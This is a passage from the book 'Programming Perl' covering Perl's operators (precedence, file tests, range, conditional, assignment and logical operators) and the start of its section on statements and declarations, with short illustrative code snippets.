Note that because the translation table is built at compile time, neither the SEARCHLIST nor the REPLACEMENTLIST are subject to double quote interpolation. That means that if you want to use variables, you must use an eval:

eval "tr/$oldlist/$newlist/";
die $@ if $@;

eval "tr/$oldlist/$newlist/, 1" or die $@;

One more note: if you want to change your text to uppercase or lowercase, it's better to use the \U or \L sequences in a double-quoted string, since they will pay attention to locale information, but tr/a-z/A-Z/ won't.

Previous: 2.3 Terms | Programming Perl | Next: 2.5 Operators
2.3 Terms | Book Index | 2.5 Operators


[Chapter 2] 2.5 Operators

Programming PerlSearch this book

2.5 Operators

The terms of an expression often need to be combined and modified in various ways, and that's what operators are for. The tightness with which operators bind is controlled by the precedence of the operators. Perl operators have the following associativity and precedence, listed from highest precedence to lowest.[27]

[27] Classic Camel readers will note that we reversed this table from the old edition. The higher precedence operators are now higher on the page, which makes some kind of metaphorical sense.

Associativity | Operators
Left | Terms and list operators (leftward)
Left | ->
Nonassociative | ++ --
Right | **
Right | ! ~ \ and unary + and -
Left | =~ !~
Left | * / % x
Left | + - .
Left | << >>
Nonassociative | Named unary operators
Nonassociative | < > <= >= lt gt le ge
Nonassociative | == != <=> eq ne cmp
Left | &
Left | | ^
Left | &&
Left | ||
Nonassociative | .. ...
Right | ?:
Right | = += -= *= and so on
Left | , =>
Nonassociative | List operators (rightward)
Right | not
Left | and
Left | or xor

It may seem like there are too many precedence levels. Well, you're right, there are. Fortunately, there are two things going for you here. First, the precedence levels as they're defined usually follow your intuition, presuming you're not psychotic. And second, if you're merely neurotic, you can always put in extra parentheses to relieve your anxiety.

Note that any operators borrowed from C keep the same precedence relationship with each other, even where C's precedence is slightly screwy. (This makes learning Perl easier for C folks.)

In the following sections, these operators are covered in precedence order. With very few exceptions, these all operate on scalar values only, not list values. We'll mention the exceptions as they come up.

2.5.1 Terms and List Operators (Leftward)

Any term is of highest precedence in Perl. These include variables, quote and quotelike operators, any expression in parentheses, and any function whose arguments are parenthesized. Actually, there aren't really any functions in this sense, just list operators and unary operators behaving as functions because you put parentheses around their arguments. These operators are all covered in Chapter 3.

Now, listen carefully. Here are a couple of rules that are very important and simplify things greatly, but may occasionally produce counterintuitive results for the unwary. If any list operator (such as print) or any named unary operator (such as chdir) is followed by a left parenthesis as the next token on the same line,[28] the operator and its arguments within parentheses are taken to be of highest precedence, just like a normal function call. The rule is: If it looks like a function call, it is a function call. You can make it look like a non-function by prefixing the arguments with a unary plus, which does absolutely nothing, semantically speaking - it doesn't even convert the argument to numeric.

[28] And we nearly had you convinced Perl was a free-form language.

For example, since || has lower precedence than chdir, we get:

chdir $foo    || die;       # (chdir $foo) || die
chdir($foo)   || die;       # (chdir $foo) || die
chdir ($foo)  || die;       # (chdir $foo) || die
chdir +($foo) || die;       # (chdir $foo) || die

but, because * has higher precedence than chdir, we get:

chdir $foo * 20;            # chdir ($foo * 20)
chdir($foo) * 20;           # (chdir $foo) * 20
chdir ($foo) * 20;          # (chdir $foo) * 20
chdir +($foo) * 20;         # chdir ($foo * 20)

Likewise for numeric operators:

rand 10 * 20;               # rand (10 * 20)
rand(10) * 20;              # (rand 10) * 20
rand (10) * 20;             # (rand 10) * 20
rand +(10) * 20;            # rand (10 * 20)

In the absence of parentheses, the precedence of list operators such as print, sort, or chmod is either very high or very low depending on whether you look at the left side of the operator or the right side of it. (That's what the "Leftward" is doing in the title of this section.) For example, in:

@ary = (1, 3, sort 4, 2);
print @ary;         # prints 1324

the commas on the right of the sort are evaluated before the sort, but the commas on the left are evaluated after. In other words, a list operator tends to gobble up all the arguments that follow it, and then act like a simple term with regard to the preceding expression. Note that you have to be careful with parentheses:

# These evaluate exit before doing the print:
print($foo, exit);  # Obviously not what you want.
print $foo, exit;   # Nor is this.

# These do the print before evaluating exit:
(print $foo), exit; # This is what you want.
print($foo), exit;  # Or this.
print ($foo), exit; # Or even this.

Also note that:

print ($foo & 255) + 1, "\n";   # prints ($foo & 255)

probably doesn't do what you expect at first glance. Fortunately, mistakes of this nature generally produce warnings like "Useless use of addition in a void context" when you use the -w command-line switch.

Also parsed as terms are the do {} and eval {} constructs, as well as subroutine and method calls, the anonymous array and hash composers [] and {}, and the anonymous subroutine composer sub {}.

2.5.2 The Arrow Operator

Just as in C and C++, -> is an infix dereference operator. If the right side is either a [...] or {...} subscript, then the left side must be either a hard or symbolic reference to an array or hash (or a location capable of holding a hard reference, if it's an lvalue (assignable)). More on this in Chapter 4.

Otherwise, the right side must be a method name or a simple scalar variable containing the method name, and the value of the left side must either be an object (a blessed reference) or a class name (that is, a package name). See Chapter 5.

2.5.3 Autoincrement and Autodecrement

The ++ and -- operators work as in C. That is, if placed before a variable, they increment or decrement the variable before returning the value, and if placed after, they increment or decrement the variable after returning the value. For example, $a++ increments the value of scalar variable $a, returning the value before it performs the increment. Similarly, --$b{(/(\w+)/)[0]} decrements the element of the hash %b indexed by the first "word" in the default search variable ($_) and returns the value after the decrement.[29]

[29] OK, so that wasn't exactly fair. We just wanted to make sure you were paying attention. Here's how that expression works. First the pattern match finds the first word in $_ using the regular expression \w+. The parentheses around that causes the word to be returned as a single-element list value, because the pattern match is in a list context. The list context is supplied by the list slice operator, (...)[0], which returns the first (and only) element of the list. That value is then used as the key for the hash, and the hash entry (value) is decremented and returned. In general, when confronted with a complex expression, analyze it from the inside out to see what order things happen in.

The autoincrement operator has a little extra built-in magic to it. If you increment a variable that is numeric, or that has ever been used in a numeric context, you get a normal increment. If, however, the variable has only been used in string contexts since it was set, and has a value that is not null and matches the pattern /^[a-zA-Z]*[0-9]*$/, the increment is done as a string, preserving each character within its range, with carry:

print ++($foo = '99');      # prints '100'
print ++($foo = 'a0');      # prints 'a1'
print ++($foo = 'Az');      # prints 'Ba'
print ++($foo = 'zz');      # prints 'aaa'

The autodecrement operator, however, is not magical.

2.5.4 Exponentiation

Binary ** is the exponentiation operator. Note that it binds even more tightly than unary minus, so -2**4 is -(2**4), not (-2)**4. The operator is implemented using C's pow(3) function, which works with doubles internally. It calculates using logarithms, which means that it works with fractional powers, but you sometimes get results that aren't as exact as a straight multiplication would produce.

2.5.5 Ideographic Unary Operators

Most unary operators just have names (see "Named Unary and File Test Operators" below), but some operators are deemed important enough to merit their own special symbolic representation. Most of these operators seem to have something to do with negation. Blame the mathematicians.

Unary ! performs logical negation, that is, "not". See also not for a lower precedence version of this. The value of a negated operation is 1 if the operand is false (numeric 0, string "0", null string, or undefined); otherwise, the value is that of the null string.

Unary - performs arithmetic negation if the operand is numeric. If the operand is an identifier, a string consisting of a minus sign concatenated with the identifier is returned. Otherwise, if the string starts with a plus or minus, a string starting with the opposite sign is returned. One effect of these rules is that -bareword is equivalent to "-bareword". This is most useful for Tk and CGI programmers.

Unary ~ performs bitwise negation, that is, 1's complement. For example, on a 32-bit machine, ~123 is 4294967172. But you knew that already.

(What you perhaps didn't know is that if the argument to ~ happens to be a string instead of a number, a string of identical length is returned, but with all the bits of the string complemented. This is a fast way to flip a lot of bits all at once. See also the bitwise logical operators, which also have stringish variants.)

Unary + has no semantic effect whatsoever, even on strings. It is syntactically useful for separating a function name from a parenthesized expression that would otherwise be interpreted as the complete list of function arguments. (See examples above under the section "Terms and List Operators".)

Unary \ creates a reference to whatever follows it (see Chapter 4). Do not confuse this behavior with the behavior of backslash within a string, although both forms do convey the notion of protecting the next thing from interpretation. This resemblance is not entirely accidental.

The \ operator may also be used on a parenthesized list value in a list context, in which case it returns references to each element of the list.

2.5.6 Binding Operators

Binary =~ binds a scalar expression to a pattern match, substitution, or translation. These operations search or modify the string $_ by default. The binding operator makes those operations work on some other string instead. The argument on the right is the search pattern, substitution, or translation. The left argument is what is supposed to be searched, substituted, or translated instead of the default $_. The return value indicates the success of the operation. If the right argument is an expression rather than a search pattern, substitution, or translation, it is interpreted as a search pattern at run-time. That is, $_ =~ $pat is equivalent to $_ =~ /$pat/. This is less efficient than an explicit search, since the pattern must be compiled every time the expression is evaluated. (But /$pat/o doesn't recompile it because of the /o modifier.)

Binary !~ is just like =~ except the return value is negated in the logical sense. The following expressions are functionally equivalent:

$string !~ /pattern/
not $string =~ /pattern/

We said that the return value indicates success, but there are many kinds of success. Substitutions return the number of successful substitutions, as do translations. (In fact, the translation operator is often used to count characters.) Since any non-zero result is true, it all works out. The most spectacular kind of true value is a list value: in a list context, pattern matches can return substrings matched by the parentheses in the pattern. But again, according to the rules of list assignment, the list assignment itself will return true if anything matched and was assigned, and false otherwise. So you sometimes see things like:

if ( ($k,$v) = $string =~ m/(\w+)=(\w*)/ ) {
    print "KEY $k VALUE $v\n";
}

Let's pick that apart. The =~ binds $string to the pattern match on the right, which is scanning for occurrences of things that look like KEY=VALUE in your string. It's in a list context because it's on the right side of a list assignment. If it matches, it does a list assignment to $k and $v. The list assignment itself is in a scalar context, so it returns 2, the number of values on the right side of the assignment. And 2 happens to be true, since our scalar context is also a Boolean context. When the match fails, no values are assigned, which returns 0, which is false.

2.5.7 Multiplicative Operators

Perl provides the C-like operators * (multiply), / (divide), and % (modulus). The * and / work exactly as you might expect, multiplying or dividing their two operands. Division is done in floating-point, unless you've used the integer library module.

The % operator converts its operands to integers before finding the remainder according to integer division. For the same operation in floating-point, you may prefer to use the fmod() function from the POSIX module (see Chapter 7).

Binary x is the repetition operator. In scalar context, it returns a concatenated string consisting of the left operand repeated the number of times specified by the right operand.

print '-' x 80;             # print row of dashes

print "\t" x ($tab/8), ' ' x ($tab%8);      # tab over

In list context, if the left operand is a list in parentheses, the x works as a list replicator rather than a string replicator. This is useful for initializing all the elements of an array of indeterminate length to the same value:

@ones = (1) x 80;           # a list of 80 1's
@ones = (5) x @ones;        # set all elements to 5

Similarly, you can also use x to initialize array and hash slices:

@keys = qw(perls before swine);
@hash{@keys} = ("") x @keys;

If this mystifies you, note that @keys is being used both as a list on the left side of the assignment, and as a scalar value (returning the array length) on the right side of the assignment. The above has the same effect on %hash as:

$hash{perls}  = "";
$hash{before} = "";
$hash{swine}  = "";

2.5.8 Additive Operators

Strangely enough, Perl also has the customary + (addition) and - (subtraction) operators. Both operators convert their arguments from strings to numeric values if necessary, and return a numeric result.

Additionally, Perl provides a string concatenation operator ".". For example:

$almost = "Fred" . "Flintstone";    # returns FredFlintstone

Note that Perl does not place a space between the strings being concatenated. If you want the space, or if you have more than two strings to concatenate, you can use the join operator, described in Chapter 3. Most often, though, people do their concatenation implicitly inside a double-quoted string:

$fullname = "$firstname $lastname";

2.5.9 Shift Operators

The bit-shift operators (<< and >>) return the value of the left argument shifted to the left (<<) or to the right (>>) by the number of bits specified by the right argument. The arguments should be integers. For example:

1 << 4;     # returns 16
32 >> 4;    # returns 2

2.5.10 Named Unary and File Test Operators

Some of "functions" described in Chapter 3 are really unary operators, including:

-X (file tests) | gethostbyname | localtime | rmdir
alarm | getnetbyname | log | scalar
caller | getpgrp | lstat | sin
chdir | getprotobyname | my | sleep
chroot | glob | oct | sqrt
cos | gmtime | ord | srand
defined | goto | quotemeta | stat
delete | hex | rand | uc
do | int | readlink | ucfirst
eval | lc | ref | umask
exists | lcfirst | require | undef
exit | length | reset |
exp | local | return |

These are all unary operators, with a higher precedence than some of the other binary operators. For example:

sleep 4 | 3;

does not sleep for 7 seconds; it sleeps for 4 seconds, and then takes the return value of sleep (typically zero) and ORs that with 3, as if the expression were parenthesized as:

(sleep 4) | 3;

Compare this with:

print 4 | 3;

which does take the value of 4 ORed with 3 before printing it (7 in this case), as if it were written:

print (4 | 3);

This is because print is a list operator, not a simple unary operator. Once you've learned which operators are list operators, you'll have no trouble telling them apart. When in doubt, you can always use parentheses to turn a named unary operator into a function. Remember, if it looks like a function, it is a function.

Another funny thing about named unary operators is that many of them default to $_ if you don't supply an argument. However, if the thing following the named unary operator looks like it might be the start of an argument, Perl will get confused. When the next character in your program is one of the following characters, the Perl tokener returns different token types depending on whether a term or operator is expected:

Char | Operator | Term
+ | Addition | Unary plus
- | Subtraction | Unary minus
* | Multiplication | *typeglob
/ | Division | /pattern/
< | Less than, left shift | <HANDLE>, <<END
. | Concatenation | .3333
? | ?: | ?pattern?
% | Modulo | %assoc
& | &, && | &subroutine

So a typical boo-boo is:

next if length < 80;

in which the < looks to the parser like the beginning of the <> input symbol (a term) instead of the "less than" (an operator) you were thinking of. There's really no way to fix this, and still keep Perl pathologically eclectic. If you're so incredibly lazy that you cannot bring yourself to type the two characters $_, then say one of these instead:

next if length() < 80;
next if (length) < 80;
next if 80 > length;
next unless length >= 80;

A file test operator is a unary operator that takes one argument, either a filename or a filehandle, and tests the associated file to see if something is true about it. If the argument is omitted, it tests $_, except for -t, which tests STDIN. Unless otherwise documented, it returns 1 for true and "" for false, or the undefined value if the file doesn't exist. The operator may be any of the following:

Operator | Meaning
-r | File is readable by effective uid/gid.
-w | File is writable by effective uid/gid.
-x | File is executable by effective uid/gid.
-o | File is owned by effective uid.
-R | File is readable by real uid/gid.
-W | File is writable by real uid/gid.
-X | File is executable by real uid/gid.
-O | File is owned by real uid.
-e | File exists.
-z | File has zero size.
-s | File has non-zero size (returns size).
-f | File is a plain file.
-d | File is a directory.
-l | File is a symbolic link.
-p | File is a named pipe (FIFO).
-S | File is a socket.
-b | File is a block special file.
-c | File is a character special file.
-t | Filehandle is opened to a tty.
-u | File has setuid bit set.
-g | File has setgid bit set.
-k | File has sticky bit set.
-T | File is a text file.
-B | File is a binary file (opposite of -T).
-M | Age of file (at startup) in days since modification.
-A | Age of file (at startup) in days since last access.
-C | Age of file (at startup) in days since inode change.

The interpretation of the file permission operators -r, -R, -w, -W, -x, and -X is based solely on the mode of the file and the user and group IDs of the user. There may be other reasons you can't actually read, write, or execute the file, such as Andrew File System (AFS) access control lists. Also note that for the superuser, -r, -R, -w, and -W always return 1, and -x, and -X return 1 if any execute bit is set in the mode. Scripts run by the superuser may thus need to do a stat in order to determine the actual mode of the file, or temporarily set the uid to something else. Example:

while (<>) {
    chomp;
    next unless -f $_;      # ignore "special" files
    ...
}

Note that -s/a/b/ does not do a negated substitution. Saying -exp($foo) still works as expected, however - only single letters following a minus are interpreted as file tests.

The -T and -B switches work as follows. The first block or so of the file is examined for odd characters such as strange control codes or characters with the high bit set. If too many odd characters (>30%) are found, it's a -B file, otherwise it's a -T file. Also, any file containing null in the first block is considered a binary file. If -T or -B is used on a filehandle, the current input (standard I/O or "stdio") buffer is examined rather than the first block of the file. Both -T and -B return true on a null file, or on a file at EOF (end of file) when testing a filehandle. Because you have to read a file to do the -T test, on most occasions you want to use a -f against the file first, as in:

next unless -f $file && -T _;

If any of the file tests (or either the stat or lstat operators) are given the special filehandle consisting of a solitary underline, then the stat structure of the previous file test (or stat operator) is used, thereby saving a system call. (This doesn't work with -t, and you need to remember that lstat and -l will leave values in the stat structure for the symbolic link, not the real file.)[30] Example:

[30] Likewise, -l _ will always be false after a normal stat.

print "Can do.\n" if -r $a || -w _ || -x _;

stat($filename);
print "Readable\n" if -r _;
print "Writable\n" if -w _;
print "Executable\n" if -x _;
print "Setuid\n" if -u _;
print "Setgid\n" if -g _;
print "Sticky\n" if -k _;
print "Text\n" if -T _;
print "Binary\n" if -B _;

File ages for -M, -A, and -C are returned in days (including fractional days) since the time when the script started running. (This time is stored in the special variable $^T.) Thus, if the file changed after the script started, you would get a negative time. Note that most times (86,399 out of 86,400, on average) are fractional, so testing for equality with an integer without using the int function is usually futile. Examples:

next unless -M $file > .5;      # files older than 12 hours
&newfile if -M $file < 0;       # file is newer than process
&mailwarning if int(-A) == 90;  # file ($_) accessed 90 days ago today

To reset the script's start time to the current time, change $^T as follows:

$^T = time;

2.5.11 Relational Operators

Perl has two classes of relational operators. One class operates on numeric values, and the other class operates on string values. To repeat the table given in the overview:

Numeric | String | Meaning
> | gt | Greater than
>= | ge | Greater than or equal to
< | lt | Less than
<= | le | Less than or equal to

These operators return 1 for true, and "" for false. String comparisons are based on the ASCII collating sequence, and unlike in some languages, trailing spaces count in the comparison. Note that relational operators are non-associating, which means that $a < $b < $c is a syntax error.

2.5.12 Equality Operators

The equality operators are much like the relational operators.

Numeric | String | Meaning
== | eq | Equal to
!= | ne | Not equal to
<=> | cmp | Comparison, with signed result

The equal and not-equal operators return 1 for true, and "" for false (just as the relational operators do). The <=> and cmp operators return -1 if the left operand is less than the right operand, 0 if they are equal, and +1 if the left operand is greater than the right. Although these appear to be very similar to the relational operators, they do have a different precedence level, so $a < $b <=> $c < $d is syntactically valid.

For reasons that are apparent to anyone who has seen Star Wars, the <=> operator is known as the "spaceship" operator.

2.5.13 Bitwise Operators

Like C, Perl has bitwise AND, OR, and XOR (exclusive OR) operators: &, |, and ^. Note from the table at the start of this section that bitwise-AND has a higher precedence. These operators work differently on numeric values than they do on strings. (This is one of the few places where Perl cares about the difference.) If either operand is a number (or has been used as a number), then both operands are converted to type integer, and the bitwise operation is performed between the two integers. These integers are guaranteed to be at least 32 bits long, but may be 64 bits on some machines. The point is that there's an arbitrary limit imposed by the machine's architecture.

If both operands are strings (and have not been used as numbers since being set), these operators do bitwise operations between corresponding bits from the two strings. In this case, there's no arbitrary limit, since strings aren't arbitrarily limited in size. If one string is longer than the other, the shorter string is considered to have a sufficient number of 0 bits on the end to make up the difference.

For example, if you AND together two strings:

"123.45" & "234.56"

you get another string:

"020.44"

But if you AND together a string and a number:

"123.45" & 234.56

The string is first converted to a number, giving:

123.45 & 234.56

The numbers are then converted to integer:

123 & 234

which evaluates to 106.

Note that all bit strings are true (unless they come out to being the string "0"). This means that tests of the form:

if ( "fred" & "\1\2\3\4" ) { ... }

would need to be written instead as:

if ( ("fred" & "\1\2\3\4") =~ /[^\0]/ ) { ... }

2.5.14 C-style Logical (Short Circuit) Operators

Like C, Perl provides the && (logical AND) and || (logical OR) operators. They evaluate from left to right (with && having slightly higher precedence than ||) testing the truth of the statement. These operators are known as short-circuit operators because they determine the truth of the statement by evaluating the fewest number of operands possible. For example, if the left operand of an && operator is false, the right operand is never evaluated because the result of the operator is false regardless of the value of the right operand.

Example | Name | Result
$a && $b | And | $a if $a is false, $b otherwise
$a || $b | Or | $a if $a is true, $b otherwise

Such short circuits are not only time savers, but are frequently used to control the flow of evaluation. For example, an oft-appearing idiom in Perl programs is:

open(FILE, "somefile") || die "Cannot open somefile: $!\n";

In this case, Perl first evaluates the open function. If the value is true (because somefile was successfully opened), the execution of the die function is unnecessary, and is skipped. You can read this literally as "Open some file or die!"

The || and && operators differ from C's in that, rather than returning 0 or 1, they return the last value evaluated. This has the delightful result that you can select the first of a series of values that happens to be true. Thus, a reasonably portable way to find out the home directory might be:

$home = $ENV{HOME}
     || $ENV{LOGDIR}
     || (getpwuid($<))[7]
     || die "You're homeless!\n";

Perl also provides lower precedence and and or operators that are more readable and don't force you to use parentheses as much. They also short-circuit.

2.5.15 Range Operator

The .. range operator is really two different operators depending on the context. In a list context, it returns a list of values counting (by ones) from the left value to the right value. This is useful for writing for (1..10) loops and for doing slice operations on arrays.[31]

[31] Be aware that under the current implementation, a temporary array is created, so you'll burn a lot of memory if you write something like this:

for (1 .. 1_000_000) {
    # code
}

In a scalar context, .. returns a Boolean value. The operator is bi-stable, like an electronic flip-flop, and emulates the line-range (comma) operator of sed, awk, and various editors. Each scalar .. operator maintains its own Boolean state. It is false as long as its left operand is false. Once the left operand is true, the range operator stays true until the right operand is true, after which the range operator becomes false again. (The operator doesn't become false until the next time it is evaluated. It can test the right operand and become false on the same evaluation as the one where it became true (the way awk's range operator behaves), but it still returns true once. If you don't want it to test the right operand until the next evaluation (which is how sed's range operator works), just use three dots (...) instead of two.) The right operand is not evaluated while the operator is in the false state, and the left operand is not evaluated while the operator is in the true state.

The precedence is a little lower than || and &&. The value returned is either the null string for false, or a sequence number (beginning with 1) for true. The sequence number is reset for each range encountered. The final sequence number in a range has the string "E0" appended to it, which doesn't affect its numeric value, but gives you something to search for if you want to exclude the endpoint. You can exclude the beginning point by waiting for the sequence number to be greater than 1. If either operand of scalar .. is a numeric literal, that operand is evaluated by comparing it to the $. variable, which contains the current line number for your input file. Examples:

As a scalar operator:

if (101 .. 200) { print; }  # print 2nd hundred lines
next line if (1 .. /^$/);   # skip header lines
s/^/> / if (/^$/ .. eof()); # quote body

As a list operator:

for (101 .. 200) { print; }            # prints 101102...199200
@foo = @foo[0 .. $#foo];               # an expensive no-op
@foo = @foo[ -5 .. -1];                # slice last 5 items

The range operator (in a list context) makes use of the magical autoincrement algorithm if the operands are strings.[32] So you can say:

[32] If the final value specified is not in the sequence that the magical increment would produce, the sequence goes until the next value would be longer than the final value specified.

@alphabet = ('A' .. 'Z');

to get all the letters of the alphabet, or:

$hexdigit = (0 .. 9, 'a' .. 'f')[$num & 15];

to get a hexadecimal digit, or:

@z2 = ('01' .. '31');  print $z2[$mday];

to get dates with leading zeros. You can also say:

@combos = ('aa' .. 'zz');

to get all combinations of two lowercase letters. However, be careful of something like:

@bigcombos = ('aaaaaa' .. 'zzzzzz');

since that will require lots of memory. More precisely, it'll need space to store 308,915,776 scalars. Let's hope you allocated a large swap partition. Perhaps you should consider an iterative approach instead.

2.5.16 Conditional Operator

Trinary ?: is the conditional operator, just as in C. It works as:

TEST_EXPR ? IF_TRUE_EXPR : IF_FALSE_EXPR

much like an if-then-else, except that it can safely be embedded within other operations and functions. If the TEST_EXPR is true, only the IF_TRUE_EXPR is evaluated, and the value of that expression becomes the value of the entire expression. Otherwise, only the IF_FALSE_EXPR is evaluated, and its value becomes the value of the entire expression.

printf "I have %d dog%s.\n", $n,
        ($n == 1) ? "" : "s";

Scalar or list context propagates downward into the second or third argument, whichever is selected. (The first argument is always in scalar context, since it's a conditional.)

$a = $ok ? $b : $c;  # get a scalar
@a = $ok ? @b : @c;  # get an array
$a = $ok ? @b : @c;  # get a count of elements in one of the arrays

You can assign to the conditional operator[33] if both the second and third arguments are legal lvalues (meaning that you can assign to them), provided that both are scalars or both are lists (or Perl won't know which context to supply to the right side of the assignment):

[33] This is not necessarily guaranteed to contribute to the readability of your program. But it can be used to create some cool entries in an Obfuscated Perl contest.

($a_or_b ? $a : $b) = $c;  # sets either $a or $b to equal $c

2.5.17 Assignment Operators

Perl recognizes the C assignment operators, as well as providing some of its own. There are quite a few of them:

=    **=    +=    *=    &=    <<=    &&=
            -=    /=    |=    >>=    ||=
            .=    %=    ^=
                  x=

Each operator requires an lvalue (a variable or array element) on the left side, and some expression on the right side. For the simple assignment operator, =, the value of the expression is stored into the designated variable. For the other operators, Perl evaluates the expression:

$var OP= $value

as if it were written:

$var = $var OP $value

except that $var is evaluated only once. Compare the following two operations:

$var[$a++] += $value;               # $a is incremented once
$var[$a++] = $var[$a++] + $value;   # $a is incremented twice

Unlike in C, the assignment operator produces a valid lvalue. Modifying an assignment is equivalent to doing the assignment and then modifying the variable that was assigned to. This is useful for modifying a copy of something, like this:

($tmp = $global) += $constant;

which is the equivalent of:

$tmp = $global + $constant;

Likewise:

($a += 2) *= 3;

is equivalent to:

$a += 2;
$a *= 3;

That's not actually very useful, but you often see this idiom:

($new = $old) =~ s/foo/bar/g;

In all cases, the value of the assignment is the new value of the variable. Since assignment operators associate right-to-left, this can be used to assign many variables the same value, as in:

$a = $b = $c = 0;

which assigns 0 to $c, and the result of that (still 0) to $b, and the result of that (still 0) to $a.

List assignment may be done only with the plain assignment operator, =. In a list context, list assignment returns the list of new values just as scalar assignment does. In a scalar context, list assignment returns the number of values that were available on the right side of the assignment, as we mentioned earlier in "List Values and Arrays". This makes it useful for testing functions that return a null list when they're "unsuccessful", as in:

while (($key, $value) = each %gloss) { ... }

next unless ($dev, $ino, $mode) = stat $file;

2.5.18 Comma Operators

Binary "," is the comma operator. In a scalar context it evaluates its left argument, throws that value away, then evaluates its right argument and returns that value. This is just like C's comma operator. For example:

$a = (1, 3);

assigns 3 to $a. Do not confuse the scalar context use with the list context use. In a list context, it's just the list argument separator, and inserts both its arguments into the LIST. It does not throw any values away.

For example, if you change the above to:

@a = (1, 3);

you are constructing a two-element list, while:

atan2(1, 3);

is calling the function atan2 with two arguments.

The => digraph is mostly just a synonym for the comma operator. It's useful for documenting arguments that come in pairs. It also forces any identifier to the left of it to be interpreted as a string.

2.5.19 List Operators (Rightward)

The right side of a list operator governs all the list operator's arguments, which are comma separated, so the precedence of list operators is looser than comma if you're looking to the right.

2.5.20 Logical and, or, not, and xor

As more readable alternatives to &&, ||, and !, Perl provides the and, or and not operators. The behavior of these operators is identical - in particular, they short-circuit the same way.[34]

[34] Obviously the unary not doesn't short circuit, just as ! doesn't.

The precedence of these operators is much lower, however, so you can safely use them after a list operator without the need for parentheses:

unlink "alpha", "beta", "gamma"
        or gripe(), next LINE;

With the C-style operators that would have to be written like this:

unlink("alpha", "beta", "gamma")
        || (gripe(), next LINE);

There is also a logical xor operator that has no exact counterpart in C or Perl, since the other XOR operator (^) works on bits. The best equivalent for $a xor $b is perhaps !$a != !$b.[35] This operator can't short-circuit either, since both sides must be evaluated.

[35] One could also write !$a ^ !$b or even $a ? !$b : !!$b, of course. The point is that both $a and $b have to evaluate to true or false in a Boolean context, and the existing bitwise operator doesn't provide a Boolean context.

2.5.21 C Operators Missing from Perl

Here is what C has that Perl doesn't:

unary &

The address-of operator. Perl's \ operator (for taking a reference) fills the same ecological niche, however:

$ref_to_var = \$var;

But references are much safer than addresses.

unary *

The dereference-address operator. Since Perl doesn't have addresses, it doesn't need to dereference addresses. It does have references though, so Perl's variable prefix characters serve as dereference operators, and indicate type as well: $, @, % and &. Oddly enough, there actually is a * dereference operator, but since * is the funny character indicating a typeglob, you wouldn't use it the same way.

(TYPE)

The typecasting operator. Nobody likes to be typecast anyway.

Previous: 2.4 Pattern Matching | Programming Perl | Next: 2.6 Statements and Declarations
2.4 Pattern Matching | Book Index | 2.6 Statements and Declarations


[Chapter 2] 2.6 Statements and Declarations

Programming PerlSearch this book

2.6 Statements and Declarations

A Perl program consists of a sequence of declarations and statements. A declaration may be placed anywhere a statement may be placed, but it has its primary (or only) effect at compile time. (Some declarations do double duty as ordinary statements, while others are totally transparent at run-time.) After compilation, the main sequence of statements is executed just once, unlike in sed and awk scripts, where the sequence of statements is executed for each input line. While this means that you must explicitly loop over the lines of your input file (or files), it also means you have much more control over which files and which lines you look at.[36] Unlike many high-level languages, Perl requires only subroutines and report formats to be explicitly declared. All other user-created objects spring into existence with a null or 0 value unless they are defined by some explicit operation such as assignment.[37]

[36] Actually, I'm lying - it is possible to do an implicit loop with either the -n or -p command-line switch. It's just not the mandatory default like it is in sed and awk.

[37] The -w command-line switch will warn you about using undefined values.

You may declare your variables though, if you like. You may even make it an error to use an undeclared variable. This kind of discipline is fine, but you have to declare that you want the discipline. (This seems appropriate, somehow.) See use strict in the section on "Pragmas" later in this chapter.

2.6.1 Simple Statements

A simple statement is an expression evaluated for its side effects. Every simple statement must end in a semicolon, unless it is the final statement in a block. In this case, the semicolon is optional (but strongly encouraged in any multiline block, since you may eventually add another line).

Even though some operators (like eval {} and do {}) look like compound statements, they aren't. True, they allow multiple statements on the inside, but that doesn't count. From the outside those statements are just terms in an expression, and thus need an explicit semicolon if used as the last item in a statement.

Any simple statement may optionally be followed by a single modifier, just before the terminating semicolon (or block ending). The possible modifiers are:

if EXPR
unless EXPR
while EXPR
until EXPR

The if and unless modifiers work pretty much as you'd expect if you speak English:

$trash->take('out') if $you_love_me;
shutup() unless $you_want_me_to_leave;

The while and until modifiers evaluate repeatedly as long as the modifier is true:

$expression++ while -e "$file$expression";
kiss('me') until $I_die;

The while and until modifiers also have the usual while-loop semantics (conditional evaluated first), except when applied to a do {} (or to the now-deprecated do-SUBROUTINE statement), in which case the block executes once before the conditional is evaluated. This is so that you can write loops like:

do {
    $line = <STDIN>;
    ...
} until $line eq ".\n";

See the do entry in Chapter 3. Note also that the loop-control statements described later will not work in this construct, since modifiers don't take loop labels. Sorry. You can always wrap another block around it to do that sort of thing. Or write a real loop with multiple loop-control commands inside. Speaking of real loops, we'll talk about compound statements next.

2.6.2 Compound Statements

A sequence of statements that defines a scope is called a block. Sometimes a block is delimited by the file containing it (in the case of either a "required" file, or the program as a whole), and sometimes it's delimited by the extent of a string (in the case of an eval). But generally, a block is delimited by braces ({}). When we mean a block with braces, we'll use the term BLOCK.

Compound statements are built out of expressions and BLOCKs. The expressions are built out of the terms and operators we've already discussed. In our syntax diagrams, we'll use the word EXPR to indicate a place where you can use an expression.

The following conditionals and loops may be used to control flow:

if (EXPR) BLOCK
if (EXPR) BLOCK else BLOCK
if (EXPR) BLOCK elsif (EXPR) BLOCK ...
if (EXPR) BLOCK elsif (EXPR) BLOCK ... else BLOCK

LABEL while (EXPR) BLOCK
LABEL while (EXPR) BLOCK continue BLOCK

LABEL for (EXPR; EXPR; EXPR) BLOCK

LABEL foreach VAR (LIST) BLOCK
LABEL foreach VAR (LIST) BLOCK continue BLOCK

LABEL BLOCK
LABEL BLOCK continue BLOCK

Note that unlike in C and Pascal, these are defined in terms of BLOCKs, not statements. This means that the braces are required - no dangling statements allowed. If you want to write conditionals without braces there are several other ways to do it. The following all do the same thing:

if (!open(FOO, $foo)) { die "Can't open $foo: $!"; }

die "Can't open $foo: $!" unless open(FOO, $foo);

open(FOO, $foo) or die "Can't open $foo: $!";     # FOO or bust!

open(FOO, $foo) ? 'hi mom' : die "Can't open $foo: $!";
                    # a bit exotic, that last one

Your readers would tend to prefer the third of those under most circumstances.

2.6.3 If Statements

The if statement is straightforward. Since BLOCKs are always bounded by braces, there is never any ambiguity about which if an else or an elsif goes with. In any particular sequence of if/elsif/else BLOCKs, only the first one that has a true condition will be executed. If none of them is true, then the else BLOCK, if there is any, is executed.

If you use unless in place of if, the sense of the test is reversed. That is:

unless ($OS_ERROR) ...

is equivalent to:[38]

[38] $OS_ERROR is the same as $! if you use English.

if (not $OS_ERROR) ...

2.6.4 Loop Statements

